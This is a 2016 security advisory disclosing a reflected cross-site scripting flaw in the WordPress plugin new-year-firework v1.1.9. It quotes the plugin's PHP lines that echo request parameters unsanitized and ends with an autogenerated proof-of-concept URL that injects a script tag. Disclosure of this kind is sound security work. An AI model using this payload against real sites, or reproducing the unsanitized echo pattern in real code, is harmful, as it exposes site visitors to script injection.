Advisory #: 453
Title: Reflected XSS in wordpress plugin new-year-firework v1.1.9
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/new-year-firework
Downloads: 2084
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: new-year-firework
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./new-year-firework/firework/index.php: 4: <title><?php echo $_GET['text']; ?></title> 8: <meta name="Description" content="<?php echo $_GET['text']; ?>" /> 10: <script src="<?php echo $_GET['url']; ?>/wp-includes/js/jquery/jquery.js"></script> 17: <h1><?php echo $_GET['text']; ?></h1> 19: var site_url = "<?php echo $_GET['url']; ?>"; 25: <a href="<?php echo $_GET['url']; ?>">Back To Home Page</a> 28: <input id="firetext" type="hidden" value="<?php echo $_GET['text']; ?>" /> 31: <audio src="<?php echo $_GET['music']; ?>" autoplay="autoplay" id="music"></audio> The variable text appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000140
File:./new-year-firework/firework/index.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/new-year-firework/firework/index.php?text="><script>alert(1);</script><"